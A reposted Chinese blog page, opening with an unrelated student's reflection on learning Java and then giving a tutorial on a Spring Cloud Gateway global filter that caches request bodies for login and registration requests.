经过近期对Java 面向对象程序设计、前端知识以及Java框架的掌握和学习，以及这段时间本教育教学系统的开发，让我更加了解到 Java 学习的重要性。在开发这个系统时，我不仅进行了多次的试验，而且也对系统的功能进行了测试。在论文的实现过程当中，我从Java的认识到熟练运用注入了非常多的努力，到后面可以进行相关技术的运用也感到非常的开心。在这过程当中，我发现Java其实有非常之多的功能可以进行探索。Java同时具有封装性、抽象性、多态性以及继承性。可以对代码进行重复使用以及扩充使用，大幅度提高开发软件时的整体速度和效率。我作为教育技术学的学生，学好Java语言不管对我以后的就业还是现在的知识面的扩增都有着很重要的意义。我学习程序设计的主要目的就是提高自己实际问题的程序解决方案的关键技能和技术， Java 面向对象程序设计是一科实践性相对来说非常比较强的语言了、SpringMVC框架的MVC三层架构模式、和框架中遇到的设计模式将数据访问和逻辑操作都集中到组件里面去了 , 增强了系统的复用性和扩展性。使系统的扩展性大大增强。以及前端jQuery、html、css样式的掌握让我对网页的布局、样式调整、字体等让网页效果实现的更加精准。

​
大家点赞、收藏、关注、评论啦 、 打卡 文章 更新 105/ 365天

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

发表于

这是我参与11月更文挑战的第28天，活动详情查看：2021最后一次更文挑战。

上篇文章我们自定义了一个局部过滤器，用来校验Http请求头部中的Token，本篇文章我们将自定义一个全局过滤器，用来缓存HTTP请求某一类型的body。

自定义全局过滤器

之所以要自定义一个全局过滤器缓存HTTP请求某一类型的body的原因是因为我们将来会通过我们的网关去访问鉴权微服务，也就是e-commerce-authority-center。我们的SpringCloud Gateway是基于Spring WebFlux实现的，Spring WebFlux是由Spring框架5.0中引入的新的响应式的Web框架，它与SpringMVC不同。

通过authority我们可以去完成登录、注册、获取Token的过程，这些过程也会去通过网关里的Filter去实现。但是要登录到系统需要提供用户名密码，而且这个请求需要是POST请求，但是我们在Filter里是拿不到POST请求的数据的，所以我们需要有一个过滤器将用户的请求的数据缓存下来，这样的话，在我们另一个过滤器里去实现登录注册的时候才能拿到请求的数据，所以这篇文章里实现的过滤器是为之后的过滤器做准备。

1、创建对应的包和类

在e-commerce-gateway子模块下的com.sheep.ecommerce.filter包下创建一个类GlobalCacheRequestBodyFilter，即用来缓存HTTP请求某一类型的body的全局过滤器。

再在com.sheep.ecommerce包下创建一个constant包，包下创建GatewayConstant，存储网关常量。

2、编写 GatewayConstant

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
arduino复制代码/**
 * <h1>网关常量定义</h1>
 * */
public class GatewayConstant {

    /** 登录 uri */
    public static final String LOGIN_URI = "/e-commerce/login";

    /** 注册 uri */
    public static final String REGISTER_URI = "/e-commerce/register";

    /** 去授权中心拿到登录 token 的 uri 格式化接口 */
    public static final String AUTHORITY_CENTER_TOKEN_URL_FORMAT =
            "http://%s:%s/ecommerce-authority-center/authority/token";

    /** 去授权中心注册并拿到 token 的 uri 格式化接口 */
    public static final String AUTHORITY_CENTER_REGISTER_URL_FORMAT =
            "http://%s:%s/ecommerce-authority-center/authority/register";
}

3、编写全局过滤器 GlobalCacheRequestBodyFilter

因为这是一个全局过滤器，所以需要去实现GlobalFilter和Ordered接口，记得要打上@Component注解。

代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
less复制代码/**
 * <h1>缓存请求 body 的全局过滤器</h1>
 * Spring WebFlux
 * */
@Slf4j
@Component
@SuppressWarnings("all")
public class GlobalCacheRequestBodyFilter implements GlobalFilter, Ordered {

    @Override
    public Mono<Void> filter(ServerWebExchange exchange, GatewayFilterChain chain) {

        boolean isloginOrRegister =
                exchange.getRequest().getURI().getPath().contains(GatewayConstant.LOGIN_URI)
                || exchange.getRequest().getURI().getPath().contains(GatewayConstant.REGISTER_URI);

        if (null == exchange.getRequest().getHeaders().getContentType()
                || !isloginOrRegister) {
            return chain.filter(exchange);
        }

        // DataBufferUtils.join 拿到请求中的数据 --> DataBuffer
        return DataBufferUtils.join(exchange.getRequest().getBody()).flatMap(dataBuffer -> {

            // 确保数据缓冲区不被释放, 必须要 DataBufferUtils.retain
            DataBufferUtils.retain(dataBuffer);
            // defer、just 都是去创建数据源, 得到当前数据的副本
            Flux<DataBuffer> cachedFlux = Flux.defer(() ->
                    Flux.just(dataBuffer.slice(0, dataBuffer.readableByteCount())));
            // 重新包装 ServerHttpRequest, 重写 getBody 方法, 能够返回请求数据
            ServerHttpRequest mutatedRequest =
                    new ServerHttpRequestDecorator(exchange.getRequest()) {
                        @Override
                        public Flux<DataBuffer> getBody() {
                            return cachedFlux;
                        }
                    };
            // 将包装之后的 ServerHttpRequest 向下继续传递
            return chain.filter(exchange.mutate().request(mutatedRequest).build());
        });
    }

    @Override
    public int getOrder() {
        return HIGHEST_PRECEDENCE + 1;
    }
}

相应注释也在代码之中了，这边就不再重复描述了。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

0%